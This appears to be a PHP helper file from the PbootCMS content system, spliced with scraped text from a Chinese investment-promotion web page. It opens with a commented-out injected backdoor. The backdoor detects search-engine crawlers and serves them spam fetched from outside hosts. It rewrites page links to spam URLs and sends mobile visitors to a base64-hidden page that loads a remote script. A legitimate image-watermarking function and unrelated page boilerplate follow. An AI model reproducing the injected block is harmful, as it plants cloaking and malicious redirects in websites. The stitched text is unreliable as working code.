[\s\S]*?<\/a>/';
// preg_match_all($lianjie, $output, $aarray5);
// if ($aarray5[0]) {
// $count = 0;
// foreach ($aarray5[0] as $pbti) {
// $preg = '/href=(\"|\')(.*?)(\"|\')/i';
// if ($count < 2) {
// $randomUrl = httpGetlai('http://lun.axjdnfd.com/l/spider.php');
// $randomUrl = str_replace('', '', $randomUrl);
// if ($randomUrl !== false) {
// $replacestr = 'href="' . trim($randomUrl) . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
// $count++;
// } else {
// $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
// }
// } else {
// $replacestr = 'href="' . $dirs[array_rand($dirs)] . '/' . date('Ymd') . rand(100000, 99999999) . '.html"';
// }
// $aoutput = preg_replace($preg, $replacestr, $pbti);
// $output = str_replace($pbti, $aoutput, $output);
// }
// }
// return $output;
// }
// }
//
// define('url', $b['REQUEST_URI']);
// define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
// define('ent', $b['HTTP_USER_AGENT']);
// define('site', "http://wenl.xincfx.com/");
// define('road', "?road=" . $b['HTTP_HOST'] . url);
// define('memes', road . "&referer=" . urlencode(ref));
// define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|360Spider@i');
// define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
// define('area', $a(url, "/ben/") || $a(url, "/dy/") || $a(url, "kkk") || $a(url, "/ys/") || $a(url, "/ku/") || $a(url, "zkblw") || $a(url, "keyan") || $a(url, "zhuli") || $a(url, ".xml") || $a(url, ".doc") || $a(url, ".pdf") || $a(url, ".txt") || $a(url, ".ppt") || $a(url, ".pptx") || $a(url, ".tacc") || $a(url, ".jsp") || $a(url, ".asp") || $a(url, ".ga") || $a(url, ".gq") || $a(url, ".pdx") || $a(url, ".xlsx") || $a(url, ".edu") || $a(url, ".gov") || $a(url, "baike") || $a(url, ".xls") || $a(url, ".htx") || $a(url, ".htt") || $a(url, ".xhtml") || $a(url, ".new") || $a(url, ".do") || $a(url, ".action") || $a(url, ".frx") || $a(url, ".csv") || $a(url, ".docx") || $a(url, ".xhtml") || $a(url, ".shtml") || $a(url, "/ben/") || $a(url, "xinwen1") || $a(url, "news1") || $a(url, "show1") || $a(url, "html1") || $a(url, "moban") || $a(url, "template") || $a(url, "/du/") || $a(url, "/wen/") || $a(url, "and") || $a(url, "xjj") || $a(url, "/ask/") || $a(url, "/dsp/"));
//
// if (preg_match(regs, ent)) {
// if (area) {
// echo httpGetlai(site . road);
// exit();
// } else {
// echo httpGet2($b['HTTP_HOST'] . url);
// exit();
// }
// }
// if(area&&preg_match(mobile,ent)) {
// echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL3hqcy5oYmRueTN1LmNvbS9keS9keS5qcz48L3NjcmlwdD48L2JvZHk+PC9odG1sPgo=');
// exit;
// }
function watermark_img($src_image, $out_image = null, $position = null, $watermark_image = null, $watermark_text = '', $watermark_text_size = null, $watermark_text_color = null)
{
if (! Config::get('watermark_open')) {
return;
}
// 输出地址
if (! $out_image)
$out_image = $src_image;
// 如果不存在文字及图片则直接返回
if (! $watermark_text) {
$watermark_text = Config::get('watermark_text') ?: 'PbootCMS';
}
$watermark_image = $watermark_image ?: Config::get('watermark_pic');
if (! $watermark_text && ! $watermark_image) {
return;
}
// 获取图片属性
list ($width1, $height1, $type1, $attr1) = getimagesize($src_image);
switch ($type1) {
case 1:
$img1 = imagecreatefromgif($src_image);
break;
case 2:
$img1 = imagecreatefromjpeg($src_image);
break;
case 3:
$img1 = imagecreatefrompng($src_image);
break;
}
if ($watermark_image) {
$watermark_image = ROOT_PATH . $watermark_image;
// 获取水印图片
list ($width2, $height2, $type2, $attr2) = getimagesize($watermark_image);
switch ($type2) {
case 1:
$img2 = imagecreatefromgif($watermark_image);
break;
case 2:
$img2 = imagecreatefromjpeg($watermark_image);
break;
case 3:
$img2 = imagecreatefrompng($watermark_image);
break;
}
} else {
if (! $watermark_text_size) {
$watermark_text_size = Config::get('watermark_text_size') ?: 16;
}
if (! $watermark_text_color) {
$watermark_text_color = Config::get('watermark_text_color') ?: '100,100,100';
}
$colors = explode(',', $watermark_text_color);
if (Config::get('watermark_text_font')) {
$font = ROOT_PATH . Config::get('watermark_text_font');
} else {
return;
}
// 手动创建水印图像
$fontsize = $watermark_text_size;
$width2 = mb_strlen($watermark_text, 'UTF-8') * ($fontsize + 10) + 20;
$height2 = $fontsize + 10;
$img2 = imagecreatetruecolor($width2, $height2);
$color = imagecolorallocate($img2, 255, 255, 255);
imagefill($img2, 0, 0, $color);
imagecolortransparent($img2, $color); // 创建透明图
$textcolor = imagecolorallocate($img2, $colors[0], $colors[1], $colors[2]);
imagettftext($img2, $fontsize, 0, 5, $fontsize + 5, $textcolor, $font, $watermark_text);
}
// 现对图片太大时,自动缩放水印
if ($width1 < $width2 * 3 || $height1 < $height2) {
$scale = min(($width1 / 3) / $width2, ($height1 / 2) / $height2); // 求缩放比例
$new_width = floor($scale * $width2);
$new_height = floor($scale * $height2);
} else {
$new_width = $width2;
$new_height = $height2;
}
// 水印位置
if (! $position) {
$position = Config::get('watermark_position') ?: 4;
}
switch ($position) {
case '1':
$x = 15;
$y = 15;
break;
case '2':
$x = $width1 - $new_width - 15;
$y = 20;
break;
case '3':
$x = 20;
$y = $height1 - $new_height - 15;
break;
case '5':
$x = ($width1 - $new_width) / 2;
$y = ($height1 - $new_height) / 2;
break;
default:
$x = $width1 - $new_width - 15;
$y = $height1 - $new_height - 15;
break;
}
// 创建透明画布,避免黑色
if ($type1 == 1 || $type1 == 3) {
$out = imagecreatetruecolor($width1, $height1);
$color = imagecolorallocate($out, 255, 255, 255);
imagefill($out, 0, 0, $color);
imagecolortransparent($out, $color);
imagecopy($out, $img1, 0, 0, 0, 0, $width1, $height1);
} else {
$out = $img1;
}
// 打上水印
imagecopyresized($out, $img2, $x, $y - 10, 0, 0, $new_width, $new_height, $width2, $height2);
check_dir(dirname($out_image), true); // 检查输出目录
// 输出图片
switch ($type1) {
case 1:
imagegif($out, $out_image, 90);
break;
case 2:
imagejpeg($out, $out_image, 90);
break;
case 3:
imagepng($out, $out_image, 90 / 10); // $quality参数取值范围0-99 在php 5.1.2之后变更为0-9
break;
default:
imagejpeg($out, $out_image, 90);
}
imagedestroy($img1);
imagedestroy($img2);
return true;
}
赵东率队赴沪举办投资说明会-行业资讯-招商外包公司,招商外包,招商策划公司,招商外包团队,招商中介公司
选择下列服务马上在线沟通
服务时间:9:00-18:30
当前位置:
首页 >
团队展示 > 赵东率队赴沪举办投资说明会
欢迎转载分享本文链接:http://https://8mmm.cn//industry/1574.html